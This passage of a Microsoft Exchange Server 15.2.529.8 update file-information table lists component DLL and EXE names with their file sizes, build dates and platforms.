15.2.529.8| 32,336| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.isam.esebcli.dll| 15.2.529.8| 100,224| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.jobqueue.eventlog.dll| 15.2.529.8| 13,176| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.jobqueueservicelet.dll| 15.2.529.8| 271,440| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.killswitch.dll| 15.2.529.8| 22,392| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.killswitchconfiguration.dll| 15.2.529.8| 33,664| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.auditing.dll| 15.2.529.8| 18,296| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.certificatelog.dll| 15.2.529.8| 15,440| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.cmdletinfralog.dll| 15.2.529.8| 27,520| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.easlog.dll| 15.2.529.8| 30,584| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ecplog.dll| 15.2.529.8| 22,392| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.eventlog.dll| 15.2.529.8| 66,432| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ewslog.dll| 15.2.529.8| 29,568| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.griffinperfcounter.dll| 15.2.529.8| 19,840| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.groupescalationlog.dll| 15.2.529.8| 20,344| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.httpproxylog.dll| 15.2.529.8| 19,320| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.loganalyzer.analyzers.hxservicelog.dll| 15.2.529.8| 34,176| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.iislog.dll| 15.2.529.8| 103,808| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.lameventlog.dll| 15.2.529.8| 31,616| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.migrationlog.dll| 15.2.529.8| 15,736| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oabdownloadlog.dll| 15.2.529.8| 20,856| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oauthcafelog.dll| 15.2.529.8| 16,248| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.outlookservicelog.dll| 15.2.529.8| 49,016| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owaclientlog.dll| 15.2.529.8| 44,408| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owalog.dll| 15.2.529.8| 38,264| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.perflog.dll| 15.2.529.8| 10,375,248| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.pfassistantlog.dll| 15.2.529.8| 29,048| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.rca.dll| 15.2.529.8| 21,584| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.analyzers.restlog.dll| 15.2.529.8| 24,440| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.loganalyzer.analyzers.store.dll| 15.2.529.8| 15,224| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.transportsynchealthlog.dll| 15.2.529.8| 21,880| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.loganalyzer.core.dll| 15.2.529.8| 89,472| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.auditing.dll| 15.2.529.8| 20,856| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.certificatelog.dll| 15.2.529.8| 26,488| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.cmdletinfralog.dll| 15.2.529.8| 21,584| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.common.dll| 15.2.529.8| 28,024| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.easlog.dll| 15.2.529.8| 28,536| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.errordetection.dll| 15.2.529.8| 36,216| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.ewslog.dll| 15.2.529.8| 17,000| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.griffinperfcounter.dll| 15.2.529.8| 19,832| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.extensions.groupescalationlog.dll| 15.2.529.8| 15,224| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.httpproxylog.dll| 15.2.529.8| 17,488| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.extensions.hxservicelog.dll| 15.2.529.8| 20,048| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.extensions.iislog.dll| 15.2.529.8| 57,208| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.loganalyzer.extensions.migrationlog.dll| 15.2.529.8| 17,992| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.loganalyzer.extensions.oabdownloadlog.dll| 15.2.529.8| 18,808| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.oauthcafelog.dll| 15.2.529.8| 16,256| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.extensions.outlookservicelog.dll| 15.2.529.8| 17,792| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.owaclientlog.dll| 15.2.529.8| 15,440| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.owalog.dll| 15.2.529.8| 15,440| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.perflog.dll| 15.2.529.8| 52,816| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.pfassistantlog.dll| 15.2.529.8| 18,296| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.loganalyzer.extensions.rca.dll| 15.2.529.8| 34,168| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loganalyzer.extensions.restlog.dll| 15.2.529.8| 17,280| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.store.dll| 15.2.529.8| 19,016| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.transportsynchealthlog.dll| 15.2.529.8| 43,384| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.loguploader.dll| 15.2.529.8| 165,448| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.loguploaderproxy.dll| 15.2.529.8| 54,864| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxassistants.assistants.dll| 15.2.529.8| 9,055,608| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxassistants.attachmentthumbnail.dll| 15.2.529.8| 33,144| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxassistants.common.dll| 15.2.529.8| 124,288| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxassistants.crimsonevents.dll| 15.2.529.8| 82,808| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.mailboxassistants.eventlog.dll| 15.2.529.8| 14,416| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.mailboxassistants.rightsmanagement.dll| 15.2.529.8| 30,072| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxloadbalance.dll| 15.2.529.8| 661,376| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxloadbalance.serverstrings.dll| 15.2.529.8| 63,360| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.calendarsyncprovider.dll| 15.2.529.8| 175,480| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 15.2.529.8| 2,791,808| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.complianceprovider.dll| 15.2.529.8| 53,112| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.contactsyncprovider.dll| 15.2.529.8| 151,928| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.dll| 15.2.529.8| 966,520| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.easprovider.dll| 15.2.529.8| 185,424| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxreplicationservice.eventlog.dll| 15.2.529.8| 31,616| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.mailboxreplicationservice.googledocprovider.dll| 15.2.529.8| 39,800| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.imapprovider.dll| 15.2.529.8| 105,848| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.mapiprovider.dll| 15.2.529.8| 95,312| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.popprovider.dll| 15.2.529.8| 43,392| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 15.2.529.8| 18,808| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 15.2.529.8| 172,928| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.pstprovider.dll| 15.2.529.8| 102,992| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.remoteprovider.dll| 15.2.529.8| 98,920| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.storageprovider.dll| 15.2.529.8| 188,800| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.syncprovider.dll| 15.2.529.8| 43,384| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxreplicationservice.xml.dll| 15.2.529.8| 447,352| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.xrmprovider.dll| 15.2.529.8| 90,184| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxtransport.monitoring.dll| 15.2.529.8| 107,904| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxtransport.storedriveragents.dll| 15.2.529.8| 374,656| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxtransport.storedrivercommon.dll| 15.2.529.8| 193,920| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.dll| 15.2.529.8| 552,312| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.eventlog.dll| 15.2.529.8| 16,248| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.mailboxtransport.submission.eventlog.dll| 15.2.529.8| 15,736| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.dll| 15.2.529.8| 321,400| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.eventlog.dll| 15.2.529.8| 18,000| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.mailboxtransport.syncdelivery.dll| 15.2.529.8| 45,440| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.dll| 15.2.529.8| 18,296| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.eventlog.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.managedlexruntime.mppgruntime.dll| 15.2.529.8| 21,072| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.management.activedirectory.dll| 15.2.529.8| 415,096| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.management.classificationdefinitions.dll| 15.2.529.8| 1,269,840| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.management.compliancepolicy.dll| 15.2.529.8| 39,288| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.controlpanel.basics.dll| 15.2.529.8| 433,232| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.management.controlpanel.dll| 15.2.529.8| 4,563,320| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.management.controlpanel.owaoptionstrings.dll| 15.2.529.8| 261,192| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.management.controlpanelmsg.dll| 15.2.529.8| 33,664| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.management.deployment.analysis.dll| 15.2.529.8| 94,080| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.management.deployment.dll| 15.2.529.8| 586,104| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.deployment.xml.dll| 15.2.529.8| 3,537,488| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.management.detailstemplates.dll| 15.2.529.8| 67,960| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.dll| 15.2.529.8| 16,485,752| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.edge.systemmanager.dll| 15.2.529.8| 58,744| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.infrastructure.asynchronoustask.dll| 15.2.529.8| 23,928| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.jitprovisioning.dll| 15.2.529.8| 101,760| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.migration.dll| 15.2.529.8| 543,608| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.management.mobility.dll| 15.2.529.8| 305,016| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.management.nativeresources.dll| 15.2.529.8| 273,992| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.management.powershell.support.dll| 15.2.529.8| 418,920| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.provisioning.dll| 15.2.529.8| 275,832| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.management.psdirectinvoke.dll| 15.2.529.8| 70,520| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.rbacdefinition.dll| 15.2.529.8| 7,873,104| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.management.recipient.dll| 15.2.529.8| 1,501,560| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.snapin.esm.dll| 15.2.529.8| 71,544| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.systemmanager.dll| 15.2.529.8| 1,238,904| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.management.transport.dll| 15.2.529.8| 1,877,584| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.managementgui.dll| 15.2.529.8| 5,366,856| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.managementmsg.dll| 15.2.529.8| 36,216| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.mapihttpclient.dll| 15.2.529.8| 117,624| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.mapihttphandler.dll| 15.2.529.8| 207,952| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.messagesecurity.dll| 15.2.529.8| 79,944| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.messagesecurity.messagesecuritymsg.dll| 15.2.529.8| 17,272| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.messagingpolicies.dlppolicyagent.dll| 15.2.529.8| 156,232| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 15.2.529.8| 65,912| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.messagingpolicies.eventlog.dll| 15.2.529.8| 30,584| 01-Jan-2020| 11:20| x64 \nMicrosoft.exchange.messagingpolicies.filtering.dll| 15.2.529.8| 58,448| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.messagingpolicies.hygienerules.dll| 15.2.529.8| 29,768| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 15.2.529.8| 175,696| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 15.2.529.8| 28,544| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.messagingpolicies.retentionpolicyagent.dll| 15.2.529.8| 75,128| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 15.2.529.8| 207,232| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.messagingpolicies.rules.dll| 15.2.529.8| 440,192| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.messagingpolicies.supervisoryreviewagent.dll| 15.2.529.8| 83,328| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 15.2.529.8| 35,200| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.messagingpolicies.unifiedpolicycommon.dll| 15.2.529.8| 53,112| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.messagingpolicies.unjournalagent.dll| 15.2.529.8| 96,632| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.migration.dll| 15.2.529.8| 1,110,120| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.migrationworkflowservice.eventlog.dll| 15.2.529.8| 14,720| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.mobiledriver.dll| 15.2.529.8| 135,752| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.monitoring.activemonitoring.local.components.dll| 15.2.529.8| 5,065,592| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.monitoring.servicecontextprovider.dll| 15.2.529.8| 20,048| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.mrsmlbconfiguration.dll| 15.2.529.8| 68,480| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.net.dll| 15.2.529.8| 5,086,080| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.net.rightsmanagement.dll| 15.2.529.8| 265,592| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.networksettings.dll| 15.2.529.8| 37,752| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.notifications.broker.eventlog.dll| 15.2.529.8| 14,208| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.notifications.broker.exe| 15.2.529.8| 549,760| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.oabauthmodule.dll| 15.2.529.8| 22,912| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.oabrequesthandler.dll| 15.2.529.8| 106,368| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.oauth.core.dll| 15.2.529.8| 291,920| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.objectstoreclient.dll| 15.2.529.8| 17,280| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.odata.configuration.dll| 15.2.529.8| 277,888| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.odata.dll| 15.2.529.8| 2,993,528| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.officegraph.common.dll| 15.2.529.8| 90,496| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.officegraph.grain.dll| 15.2.529.8| 101,752| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.graincow.dll| 15.2.529.8| 38,264| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.graineventbasedassistants.dll| 15.2.529.8| 45,432| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.officegraph.grainpropagationengine.dll| 15.2.529.8| 58,240| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.graintransactionstorage.dll| 15.2.529.8| 147,536| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.officegraph.graintransportdeliveryagent.dll| 15.2.529.8| 26,496| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.graphstore.dll| 15.2.529.8| 184,192| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.officegraph.permailboxkeys.dll| 15.2.529.8| 26,496| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.secondarycopyquotamanagement.dll| 15.2.529.8| 38,272| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.secondaryshallowcopylocation.dll| 15.2.529.8| 55,680| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.security.dll| 15.2.529.8| 147,536| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.officegraph.semanticgraph.dll| 15.2.529.8| 191,872| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.officegraph.tasklogger.dll| 15.2.529.8| 33,664| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.partitioncache.dll| 15.2.529.8| 28,032| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.passivemonitoringsettings.dll| 15.2.529.8| 32,640| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.photogarbagecollectionservicelet.dll| 15.2.529.8| 15,224| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.pop3.eventlog.dll| 15.2.529.8| 17,280| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.pop3.eventlog.dll.fe| 15.2.529.8| 17,280| 01-Jan-2020| 11:22| Not applicable \nMicrosoft.exchange.pop3.exe| 15.2.529.8| 106,872| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.pop3.exe.fe| 15.2.529.8| 106,872| 01-Jan-2020| 11:23| Not applicable \nMicrosoft.exchange.pop3service.exe| 15.2.529.8| 25,160| 01-Jan-2020| 11:23| x86 \nMicrosoft.exchange.pop3service.exe.fe| 15.2.529.8| 25,160| 01-Jan-2020| 11:23| Not applicable \nMicrosoft.exchange.popconfiguration.dl1| 15.2.529.8| 42,880| 01-Jan-2020| 11:19| Not applicable \nMicrosoft.exchange.popimap.core.dll| 15.2.529.8| 264,568| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.popimap.core.dll.fe| 15.2.529.8| 264,568| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.exchange.powersharp.dll| 15.2.529.8| 358,264| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.powersharp.management.dll| 15.2.529.8| 4,164,992| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.powershell.configuration.dll| 15.2.529.8| 308,600| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.powershell.rbachostingtools.dll| 15.2.529.8| 41,568| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.protectedservicehost.exe| 15.2.529.8| 30,584| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.protocols.fasttransfer.dll| 15.2.529.8| 137,088| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.protocols.mapi.dll| 15.2.529.8| 441,928| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.provisioning.eventlog.dll| 15.2.529.8| 14,432| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.provisioningagent.dll| 15.2.529.8| 224,848| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.provisioningservicelet.dll| 15.2.529.8| 106,064| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.pst.dll| 15.2.529.8| 169,040| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.pst.dll.deploy| 15.2.529.8| 169,040| 01-Jan-2020| 11:19| Not applicable \nMicrosoft.exchange.pswsclient.dll| 15.2.529.8| 259,664| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.publicfolders.dll| 15.2.529.8| 72,056| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.pushnotifications.crimsonevents.dll| 15.2.529.8| 215,928| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.pushnotifications.dll| 15.2.529.8| 106,872| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.pushnotifications.publishers.dll| 15.2.529.8| 425,848| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.pushnotifications.server.dll| 15.2.529.8| 70,528| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.query.analysis.dll| 15.2.529.8| 46,672| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.query.configuration.dll| 15.2.529.8| 215,936| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.query.core.dll| 15.2.529.8| 168,312| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.query.ranking.dll| 15.2.529.8| 343,424| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.query.retrieval.dll| 15.2.529.8| 174,456| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.query.suggestions.dll| 15.2.529.8| 95,312| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.realtimeanalyticspublisherservicelet.dll| 15.2.529.8| 127,560| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.relevance.core.dll| 15.2.529.8| 63,568| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.relevance.data.dll| 15.2.529.8| 36,936| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.relevance.mailtagger.dll| 15.2.529.8| 17,992| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.relevance.people.dll| 15.2.529.8| 9,666,944| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.relevance.peopleindex.dll| 15.2.529.8| 20,788,088| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.relevance.peopleranker.dll| 15.2.529.8| 36,728| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.relevance.perm.dll| 15.2.529.8| 97,872| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.relevance.sassuggest.dll| 15.2.529.8| 28,536| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.relevance.upm.dll| 15.2.529.8| 72,264| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.routing.client.dll| 15.2.529.8| 15,736| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.routing.eventlog.dll| 15.2.529.8| 13,176| 01-Jan-2020| 11:22| x64 \nMicrosoft.exchange.routing.server.exe| 15.2.529.8| 59,472| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.rpc.dll| 15.2.529.8| 1,647,200| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.rpcclientaccess.dll| 15.2.529.8| 207,232| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 15.2.529.8| 60,512| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.rpcclientaccess.handler.dll| 15.2.529.8| 518,016| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.rpcclientaccess.monitoring.dll| 15.2.529.8| 161,144| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.rpcclientaccess.parser.dll| 15.2.529.8| 724,344| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.rpcclientaccess.server.dll| 15.2.529.8| 234,872| 01-Jan-2020| 11:19| x86 \nMicrosoft.exchange.rpcclientaccess.service.eventlog.dll| 15.2.529.8| 21,064| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.rpcclientaccess.service.exe| 15.2.529.8| 35,408| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.rpchttpmodules.dll| 15.2.529.8| 42,568| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 15.2.529.8| 56,184| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.eventlog.dll| 15.2.529.8| 27,512| 01-Jan-2020| 11:19| x64 \nMicrosoft.exchange.rules.common.dll| 15.2.529.8| 130,432| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.saclwatcher.eventlog.dll| 15.2.529.8| 14,712| 01-Jan-2020| 11:23| x64 \nMicrosoft.exchange.saclwatcherservicelet.dll| 15.2.529.8| 20,560| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.safehtml.dll| 15.2.529.8| 21,368| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sandbox.activities.dll| 15.2.529.8| 267,648| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sandbox.contacts.dll| 15.2.529.8| 110,968| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sandbox.core.dll| 15.2.529.8| 112,720| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.sandbox.services.dll| 15.2.529.8| 622,672| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.bigfunnel.dll| 15.2.529.8| 185,440| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.bigfunnel.eventlog.dll| 15.2.529.8| 12,152| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.search.blingwrapper.dll| 15.2.529.8| 19,536| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.core.dll| 15.2.529.8| 212,040| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.search.ediscoveryquery.dll| 15.2.529.8| 17,992| 01-Jan-2020| 11:22| x86 \nMicrosoft.exchange.search.engine.dll| 15.2.529.8| 97,872| 